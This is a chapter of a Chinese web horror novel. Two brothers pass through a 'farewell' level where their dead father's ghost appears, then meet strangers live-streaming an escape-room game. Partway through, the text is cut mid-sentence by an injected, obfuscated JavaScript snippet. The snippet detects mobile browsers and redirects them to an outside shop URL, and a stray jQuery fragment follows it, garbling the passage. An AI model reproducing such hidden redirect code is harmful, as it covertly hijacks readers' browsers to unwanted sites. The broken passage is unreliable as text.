陈汐穆的手按在那件病号服的胸口位置，维持了很久。
陈墨穆蹲下来，把他手轻轻拿开，自己把手放了上去。掌心贴上去的瞬间，他感觉到了。确实在动。很轻的、很缓慢的起伏，隔着一层薄薄的布料传上来，带着一点温热。那温度和人体的温度几乎一模一样。
他收回了手，看着那件平整铺在地上的病号服，没有说话。
陈汐穆蹲在对面，和他隔着那件衣服对视：“哥，这衣服是活的？”
“不知道。”
“要掀开吗？”
陈墨穆看着那件衣服的轮廓。它只是平平地躺在地上，除了胸口那个位置在规律地起伏之外，没有任何其他异常。它的袖子是空的，领口是空的，像是一件刚从衣架上取下来的衣服，只是被某种看不见的东西撑出了形状。
“先不掀。”陈墨穆站起来。
他转过身，重新审视这个房间。四面白墙，灰色地板，头顶惨白的灯管，以及天花板上的那些照片。他走到一面墙前面，伸手敲了敲。实心的。他又敲了敲另一面，也是实的。房间没有窗户，没有门。
“我们怎么进来的？”他问。
陈汐穆还蹲在原地，没有抬头：“裂了一条缝，走进来的。”
“缝在哪面墙？”
陈汐穆站起来转了一圈，环顾四面墙：“没有了。”
和之前一样。他们走进来的通道，在身后自动消失了。
陈墨穆走到房间正中央，仰头看着天花板。密密麻麻的父亲的照片，每隔几厘米就有一张，大小一致，排布整齐，像是有人用了很长的时间精心贴上去的。贴到中央那块空白的时候，停了。那块空白的轮廓确实是人的形状——头部、肩膀、躯干、四肢，从头到脚一个完整的人形缺口。
而那个人形缺口正下方，就是地上那件蓝白条纹病号服。
他蹲下去，重新看着那件衣服。这次他注意到一个细节——衣服的肩膀位置有一块颜色比别处深一些，像是被什么液体浸过又干了。他凑近了闻，什么味道都没有。他伸手摸了一下那块深色的位置，布料比旁边硬，像是浆过的。
“汐穆，你过来看。”
陈汐穆走过来蹲下，顺着他的手指看了那块深色痕迹：“……是血吗？”
“不确定。干了太久了。”
“十年前的东西？”
“可能是。”
陈墨穆站起来，走到墙边。他从口袋里掏出手机，打开手电筒，沿着四面墙的接缝处仔细照了一圈。他在西南角的墙根处停住了——那里的墙面有一道极其细微的裂纹，从地板往上大概二十厘米长，细得像头发丝。他蹲下去，把手机凑近了，光照进那道缝里。缝隙深处有什么东西反了一下光，像是金属。
他把手机放在地上，用手沿着那道裂纹的边缘按了按。墙面微微松动了一下，他用指甲抠住边缘，把那块墙皮整个揭了下来。墙皮后面藏着一个铁质的小盒子，巴掌大，上面盖了一层灰。他拿起来吹了吹，盒子表面是一层薄锈，锁扣已经锈死了，但用力一掰就开了。
里面有一张纸条。他展开。
和之前每一张纸条不同——这一张的字迹不是父亲的，是陈墨穆自己的。
“墨穆，如果你看到这张纸条，说明你走到第二层了。这层叫告别，你要记住一件事——告别不一定是坏事。你告别的那些东西，可能只是想让你往前走。”
陈墨穆看着那行字，手指攥着纸条，指腹反复摩擦着字迹的凹痕。这是他的字。他认得出。但他不记得自己写过。
“……这是我写的？”陈汐穆凑过来看了一眼。
陈墨穆摇头：“我不记得。”
他把纸条翻过来，背面还有一行更小的字，同样是他自己的笔迹：“你还有三十分钟。三十分钟之后，第二层会关闭。你要决定——是带着他一起走，还是把他留在这里。”
陈墨穆看着“他”这个字，低头看了一眼地上那件蓝白条纹病号服。
“什么叫带着他一起走？”陈汐穆问。
话音落下的瞬间，地上的病号服动了。那件衣服的肩膀和领口的位置开始慢慢鼓起来，像是有什么东西从底下一寸一寸地往上顶。先是领口被撑开了一点，然后袖子从地面抬起来了，软塌塌地悬在空气里，像是一具看不见的身体正穿着它坐起来。
陈墨穆退后半步，把陈汐穆往后拉了一下。
那件病号服彻底竖起来了。领口立着，袖子垂在两侧，那件衣服就像一个坐着的人，面朝着他们的方向。然后它的领口处开始出现变化——像是有什么东西在布料底下慢慢勾勒出一张脸的轮廓。看不见颜色，只是轮廓，额头、鼻梁、下颌，一点一点浮现出来，像是有人在布料里面用手从内部往外推。
轮廓清晰到能看清五官的时候，陈墨穆听到了呼吸声。很浅很浅的呼吸，从领口的方向传出来。
然后那个轮廓动了。它微微偏了一下头，像是在看他们。紧接着有一只手从袖子里伸了出来。那是一只真实的手——有皮肤，有指甲，有骨节，只是是半透明的，像是冰做的人形。那只手慢慢地抬起来，伸向陈墨穆的方向，指尖停在他面前不到一拳的位置。
没有碰到他。只是停在那儿。
“哥……”陈汐穆的声音从身后传来，压得很低，“那是不是爸的手？”
陈墨穆看着那只半透明的手。他认出了无名指侧面一道旧疤的形状。小时候父亲切菜的时候划伤的，留下了很浅的一条白印。那只手上也有。同一条白印，同一个位置。
“是他。”他说。
他伸出手，慢慢地把自己的手靠近那只手。指尖隔着不到一厘米的距离相抵的时候，他感觉到了一种很微弱的温度，凉凉的，像是刚从冰箱里拿出来的玻璃杯表面。
那只手动了动指尖，像是在回应他。
然后声音从领口的方向传出来。被布料闷着，像隔了一层布在说话，但那个音色和语调——是父亲。
“墨穆。”
“你走到第二层了。”
那只半透明的手轻轻落下，搭在了陈墨穆的手背上。触感很轻，轻到像是只有一阵风压在了他皮肤上。“这一层叫告别。你要告别的不只是我，还有你身上那些——不该带到下面去的东西。”
“什么东西？”
父亲的声音沉默了一会儿。那件衣服的轮廓微微动了一下，像是叹了口气。“你口袋里的那把钥匙，拿出来。”
陈墨穆从口袋里掏出那把铁质的旧钥匙。他把钥匙握在掌心里，手心里那阵凉意更明显了。“把它放回盒子里。”父亲的声音说，“第二层是告别。告别这把钥匙。你不需要它了。”
“没有钥匙怎么开门？”
“你走到第三层的时候，会有新的门。但你必须先放下这把钥匙。它只能带你们到这一层。带着它下去……你们会走错方向。”
陈墨穆看着掌心里那把钥匙。铁质的，旧的，上面还刻着他的名字。他握着它，站了很久。
“爸。”他开口，“你在哪儿？”
那件衣服的轮廓微微晃动了一下，像是一个人被风吹了一下。“我在你们要找的地方。但不在第二层，也不在第三层。我现在还不能让你们看到我。如果你们看到了，你们就不想往前走了。”声音停了一下，带着一点很薄的笑意，“因为我的样子不好看。”
陈墨穆看着那只半透明的手慢慢从他手背上滑落，垂回了袖口的位置。那件衣服的轮廓开始变淡了，像是有人把一幅画上的人像慢慢擦掉，从边缘开始往中间收。先是肩膀的轮廓模糊了，然后是袖子，然后是领口。最后只剩下那件蓝白条纹病号服，平平地躺在地上。
好像什么都没有发生过。
地上多了两样东西，在那件衣服原来放着的位置。一把钥匙和一张照片。钥匙就是他那把旧的，但钥匙旁边多了一张新拍的照片——照片上，陈墨穆和陈汐穆并排站着，面前是疯人院的大铁门，门开着。他们的身后站着一个模糊的影子。影子穿着白大褂。
陈墨穆把钥匙和照片收起来。
他走到那个铁盒子前面，把钥匙放了进去，然后把铁盒子盖好，重新塞回墙缝里，把墙皮拼回去。墙面恢复成了完好无损的样子。
他站起来，转头看着陈汐穆。陈汐穆一直站在他身后，没有出声，但他看到陈汐穆的眼眶是红的，但没有眼泪。他们之间什么都没说。
房间正中央的那面墙开始出现变化。白色的墙面上慢慢浮现出一条竖线，从天花板一直延伸到地面，像是有人用看不见的笔在墙面上画了一道。然后那道线裂开了，向两侧退去，露出了门后的场景——一条更宽的走廊。墙壁是灰色的，地面是深色的木地板，像是一间旧房子的内部。走廊尽头有一扇半开的门，门缝里透出来亮光。
他走向那扇门。陈汐穆跟上来。
他们走到门口的时候，听到门里面有声音。很多人声。嘈杂的、交谈的、脚步来回走动的。门缝里的光也在变化，忽明忽暗的，像有人影在灯光前面走动。
陈墨穆推开门。
门的另一侧，是一个大厅。很宽敞，灯光很亮，墙上贴着壁纸，地面铺着地毯。几张沙发围着一张茶几，茶几上放着水果和茶杯。几个人坐在沙发上，有男有女，看起来都是二十几岁的年轻人。他们看到陈墨穆推门进来，同时抬起了头。
其中有一个人先开口了，声音带着一种网络主播才有的利落和自信：“陈院长！我们来了。”
陈墨穆站在门口没有动。
他转头看了一眼身后的门——门外的走廊已经不见了。他站在一个完全陌生的房间里，面前坐着四个他不认识的人。沙发上的一个女生举起手机晃了晃，屏幕上亮着的是直播间界面，正在直播，在线人数显示六十多万。
“直播没断。”她笑着说，“观众都在等你们呢。”
陈墨穆看着她，又看了一眼沙发上的另外三个人。一个戴眼镜的男生，手里拿着笔记本和笔，像是来记东西的。一个穿着格子衬衫的男生，翘着腿在吃水果。还有一个穿黑外套的女生，没有看他，一直低头在看手机。
“你们是谁？”陈墨穆问。
坐在正中央的那个主播站了起来，朝他伸出手：“我们是第二家园招募的第一批玩家啊。不是你发的邀请函吗？‘第二家园·真人密室逃脱·线□□验招募’，你自己写的文案，忘了？”
陈墨穆没有握她的手。他没有发过什么邀请函。但那个主播的手机屏幕上，直播间后台的消息栏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731733|208966||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里，确实有一条已读的系统通知。发件人写着“第二家园官方账号”，内容是：
“欢迎各位玩家。请于今日22:00前抵达二楼大厅。”
“第一组玩家已成功入场。”
时间戳——十分钟前。
陈汐穆从陈墨穆身后探出半个身子，看了一眼沙发上坐着的几个人，又缩了回去，在他耳边小声说了一句：“哥，这几个人……你认识吗？”
陈墨穆摇头。
但那个戴眼镜的男生放下笔记本，推了推眼镜，看着他的目光很认真：“陈院长，你不记得我了吗？”
“我应该记得你吗？”
眼镜男生笑了一下：“我是你大学同学。大三的时候我们一起做过课题。你忘了？”
陈墨穆看着他的脸，搜遍了记忆，没有任何印象。
那个主播端着茶杯喝了一口，笑容很自然：“陈院长，别紧张。这本来就是你设计的游戏嘛。第二家园十层密室，第一组玩家进来体验。你自己写的规则——玩家入场后，院长需要引导通关。怎么，剧本忘啦？”
陈墨穆站在大厅中央，身边的陈汐穆靠着他站着，安静得不像个疯子。
他看着面前这四个人，看着他们脸上的笑容，看着那个还在跳动的直播间，看着茶几上冒着热气的茶水。一切都太自然了。自然到像是排练过很多遍。
但他记得很清楚——他没有写过任何邀请函。第二家园从来没有招募过玩家。
他们是谁？
怎么进来的？
为什么父亲的第二层，会出现四个陌生人？
他正想开口问的时候，身后那扇他刚走进来的门，缓缓关上了。砰的一声，很轻，但很清晰。
然后门板上慢慢浮现出一行字：
“第二层·告别。告别什么？告别你们的第三个人。”
陈墨穆看着那行字。
第三个人。
他数了数：他、陈汐穆、父亲。
三个人。
但房间里现在有七个人。
第四章·完
---
章末钩子：
陈墨穆的视线从门板上那行字慢慢移开，落在沙发上那个自称是他大学同学的眼镜男生身上。
眼镜男生正在笑。但那个笑容在陈墨穆看向他的时候，停顿了一下，然后收了回去。他低下头翻笔记本。
坐在他旁边的格子衬衫男生放下手里的水果，站起来，走到陈墨穆面前，伸手：“我叫周野。游戏体验官。您是院长，我听说过您，您比照片上年轻。”
陈墨穆没有握他的手：“谁让你们来的？”
周野愣了一下，转头看了一眼主播，像是求助。主播放下茶杯站起来，朝他笑了笑：“院长，你确实忘了。邀请函是你三天前发的，后台有记录。不信你看——”
她把自己的手机递过来，屏幕上是第二家园官方账号的后台界面，发件箱里确实有一条已发送的群发消息。发送时间是三天前。署名是“第二家园管理处”，联系人写着“陈院长”。
陈墨穆接过她的手机，盯着那行字看了三秒。然后他点进账号后台的详情页。账号的注册信息栏里，绑定的手机号不是他的。那个号码他只见过一次。
父亲的旧号码。停机了十年的那个。
他把手机还给主播，没有解释。他转过身，走回陈汐穆身边，声音压低到只有两个人能听见：“汐穆，直播间没有断过。”
“我知道。”
“他们进来之前，弹幕有没有变过？”
陈汐穆从口袋里摸出自己的手机——他的手机是从入院起就没被收走的。他翻进直播间后台，看了一眼弹幕记录。刷得很快，大部分都在刷“新玩家入场了”“卧槽真的有别人”“院长和弟弟不在线？”
但陈汐穆翻到十分钟之前，有一条弹幕被置顶了，是官方账号发的，在玩家入场之前就存在了。内容是：
“第二层有第四个人。别让他出来。”
陈汐穆把手机给陈墨穆看。
陈墨穆看完那条弹幕，再抬头扫了一眼大厅。四个人。主播、眼镜、格子衬衫、黑外套。四个人。
“第四个人”是谁？还是多出来的那个，现在已经混进来了。
他正想着，黑外套女生突然抬起头。她全程没说过话，这是第一次正眼看他。她的眼神很平，像是看穿了他一样。
她从口袋里掏出一张纸条，朝陈墨穆递过来：“楼下那个人让我给你的。”
陈墨穆接过来。纸条上的字是新的，墨还没干透：
“别相信他们说的话。”
“看看他们的影子。”
陈墨穆低头看向地面的光线。大厅灯光从头顶打下来，在地毯上投出所有人的影子。四个人，四道影子。
但他数了数。
地上有六道影子。
三道正常的、人形的。一道扭曲的、不成形状的。两道重叠在一起的，像是一个人被夹在另一个人身体里面。
陈墨穆猛地抬头。
沙发上的四个人，只有三个在正常地笑着。
眼镜男生的影子，正在缓慢地、静默地，从他的脚底下生长出来，朝旁边的黑外套女生延伸过去。